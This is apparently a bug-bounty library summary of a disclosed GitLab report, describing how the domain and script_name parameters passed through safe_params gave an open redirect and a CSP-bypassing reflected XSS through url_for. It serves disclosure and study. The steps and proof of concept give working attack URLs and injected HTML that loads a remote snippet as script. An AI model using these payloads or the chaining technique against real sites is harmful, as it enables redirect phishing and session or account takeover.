# SafeParamsHelper::safe_params is not so safe

GitLab's safe_params helper only stripped host/port/protocol, so domain and script_name params enabled open redirect and reflected XSS via url_for in canonical-path and blob-viewer routes.

- Payout: $4,000
- Severity: high
- Program: GitLab
- Found by: vakzz
- Disclosed: 2020-11-02
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/946728
- Library page: https://bugbountylibrary.com/r/h1%3A946728
- Tags: area:web domain:web impact:ato impact:integrity kind:bounty platform:hackerone sev:high tech:ruby technique:chained technique:source-review vuln:open-redirect vuln:xss

**Target:** GitLab Rails SafeParamsHelper / url_for canonical path and blob viewer
**Root cause:** safe_params permitted all params except host/port/protocol, leaving Rails RESERVED_OPTIONS like domain and script_name controllable, which url_for honors to rewrite the generated URL.
**Steps:**
1. Visit `https://gitlab.com/vakzz-h1/Redirect1?domain=aw.rs` (capital letter forces canonical mismatch) -> redirect to `https://aw.rs/`
2. Visit `https://gitlab.com/vakzz-h1/redirect1/-/issues?script_name=javascript:alert(1)//` and inspect RSS feed link href -> `javascript:alert(1)//...`
3. For XSS bypassing CSP: visit `https://gitlab.com/vakzz-h1/redirect1/-/blob/master/test.txt?script_name=/-/snippets/1999965/raw%23` to inject attacker HTML via viewer_url
4. Click injected element which loads `https://gitlab.com/-/snippets/1999974/raw` as script -> alert
**How found:** Read SafeParamsHelper source, compared its filtered keys against Rails RESERVED_OPTIONS list, hypothesized url_for would honor unfiltered keys, then grepped callers (build_canonical_path, _viewer.html.haml) to find exploitable sinks.
**Exploitation:** Attacker crafts URL with `domain` for open redirect, or `script_name` to prepend `javascript:` to generated links, or `script_name` pointing at a raw snippet to control the blob viewer_url JSON html field, injecting HTML that loads a remote script via data-remote link click, bypassing CSP.
**Escalation:** Chained script_name-controlled viewer_url with a raw snippet serving JS to achieve CSP-bypassing reflected XSS.
**Insight:** When a helper allowlists/denylists params before url_for, diff it against the framework's full RESERVED_OPTIONS list; keys like domain, script_name, anchor silently rewrite generated URLs and can inject javascript: schemes or attacker-controlled JSON endpoints.

## Proof of concept (copied exactly from the original report)

**Open redirect via domain param**

```
1. Visit https://gitlab.com/vakzz-h1/Redirect1?domain=aw.rs
1. You will be redirected to https://aw.rs/
```

**XSS via script_name javascript protocol**

```
1. Visit https://gitlab.com/vakzz-h1/redirect1/-/issues?script_name=javascript:alert(1)//
1. Look at the RSS Feed link

<a class="btn btn-svg has-tooltip" data-container="body" title=""  href="javascript:alert(1)//vakzz-h1/redirect1/-/issues.atom?feed_token=XXXX&amp;state=opened"
```

**Blob viewer XSS via script_name**

```
1. Visit https://gitlab.com/vakzz-h1/redirect1/-/blob/master/test.txt?script_name=/-/snippets/1999965/raw%23
1. See the injected HTML:

<form>any <b>html</b> can go <button>here<a data-remote="true" data-method="get" data-type="script" href="https://gitlab.com/-/snippets/1999974/raw" class="atwho-view select2-drop-mask pika-select">
  <img width="10000" height="10000">
</a></button></form>
1. Clicking anywhere will trigger an alert
```

